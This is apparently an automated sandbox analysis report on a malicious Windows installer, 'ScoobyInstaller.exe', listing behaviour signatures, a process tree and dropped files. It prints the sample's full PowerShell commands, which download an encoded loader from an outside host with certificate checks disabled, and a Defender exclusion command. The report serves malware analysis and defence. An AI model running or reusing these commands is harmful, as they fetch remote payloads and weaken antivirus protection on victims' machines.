Analysis

  • max time kernel
    149s
  • max time network
    134s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/05/2026, 12:36

General

  • Target
    ScoobyInstaller.exe
  • Size 2.3MB
  • Sample260522-ps4deadx2s
  • SHA256 6da86f0fc77a5b863c6cb12964bb1186d3d02a76b18b6e9eb6d4c06c474a4715
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://scoobymenu.xyz/loader.enc

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

    Inno Setup installer

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScoobyInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\ScoobyInstaller.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Users\Admin\AppData\Local\Temp\is-5C9E6I2LWN.tmp\ScoobyInstaller.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-5C9E6I2LWN.tmp\ScoobyInstaller.tmp" /SL5="$3024C,1258496,1258496,C:\Users\Admin\AppData\Local\Temp\ScoobyInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4196
      • C:\Windows\SYSTEM32\tasklist.exe
        "tasklist" /FI "IMAGENAME eq Scooby-Launcher.exe" /NH
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:3000
      • C:\Windows\SYSTEM32\taskkill.exe
        "taskkill" /F /IM "Scooby-Launcher.exe"
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4672
      • C:\Users\Admin\AppData\Local\Temp\is-519UWOG2UW.tmp\_isetup\_setup64.tmp
        helper 105 0x4AC
        3⤵
        • Executes dropped EXE
        PID:1076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $url = 'https://scoobymenu.xyz/loader.enc'; $out = 'C:\Users\Admin\AppData\Local\Temp\is-519UWOG2UW.tmp\loader.enc'; try { $ProgressPreference = 'SilentlyContinue'; (New-Object Net.WebClient).DownloadFile($url, $out); exit 0 } catch { exit 1 }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $url = 'https://scoobymenu.xyz/loader.enc'; $out = 'C:\Users\Admin\AppData\Local\Temp\is-519UWOG2UW.tmp\loader.enc'; try { $ProgressPreference = 'SilentlyContinue'; (New-Object Net.WebClient).DownloadFile($url, $out); exit 0 } catch { exit 1 }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3744
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $url = 'https://scoobymenu.xyz/loader.enc'; $out = 'C:\Users\Admin\AppData\Local\Temp\is-519UWOG2UW.tmp\loader.enc'; try { $ProgressPreference = 'SilentlyContinue'; (New-Object Net.WebClient).DownloadFile($url, $out); exit 0 } catch { exit 1 }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ExecutionPolicy Bypass -Command "try { Add-MpPreference -ExclusionPath '' + Path + '' -ErrorAction Stop; exit 0 } catch { Write-Host $_.Exception.Message; exit 1 }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4516

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
        • MD5 SHA1 SHA512 TLSH

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 61KB
        • SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 cca996ce3a1fb9cc44bcacc9002798fc66eab27146004d38e65ef98539510f66
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_u0zizff0.ig3.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u0zizff0.ig3.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        _setup64.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-519UWOG2UW.tmp\_isetup\_setup64.tmp
        • Size 6KB
        • SHA256 388a796580234efc95f3b1c70ad4cb44bfddc7ba0f9203bf4902b9929b136f95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScoobyInstaller.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-5C9E6I2LWN.tmp\ScoobyInstaller.tmp
        • Size 3.9MB
        • SHA256 26c36ce1fcf6088a37f3a392b5caee5be989ae3b741467ec31827433143f92ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1952-6-0x00000000007C0000-0x0000000000903000-memory.dmp

        memory/1952-0-0x00000000007C0000-0x0000000000903000-memory.dmp

        memory/4196-15-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-8-0x00000000028F0000-0x00000000028F1000-memory.dmp

        memory/4196-78-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-38-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-41-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-43-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-45-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-48-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-50-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-52-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-54-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-11-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-7-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-13-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-68-0x0000000000660000-0x0000000000A5E000-memory.dmp

        memory/4196-5-0x00000000028F0000-0x00000000028F1000-memory.dmp

        memory/4516-92-0x000001F282330000-0x000001F28234C000-memory.dmp

        memory/4516-93-0x000001F282610000-0x000001F2826C3000-memory.dmp

        memory/4516-94-0x000001F2E5220000-0x000001F2E522A000-memory.dmp

        memory/4516-95-0x000001F2E5320000-0x000001F2E533C000-memory.dmp

        memory/4516-96-0x000001F2E52B0000-0x000001F2E52BA000-memory.dmp

        memory/4516-97-0x000001F2E5340000-0x000001F2E535A000-memory.dmp

        memory/4516-98-0x000001F282350000-0x000001F282358000-memory.dmp

        memory/4516-99-0x000001F282360000-0x000001F282366000-memory.dmp

        memory/4516-100-0x000001F2E52C0000-0x000001F2E52CA000-memory.dmp

        memory/4792-36-0x00000239FFF30000-0x00000239FFF52000-memory.dmp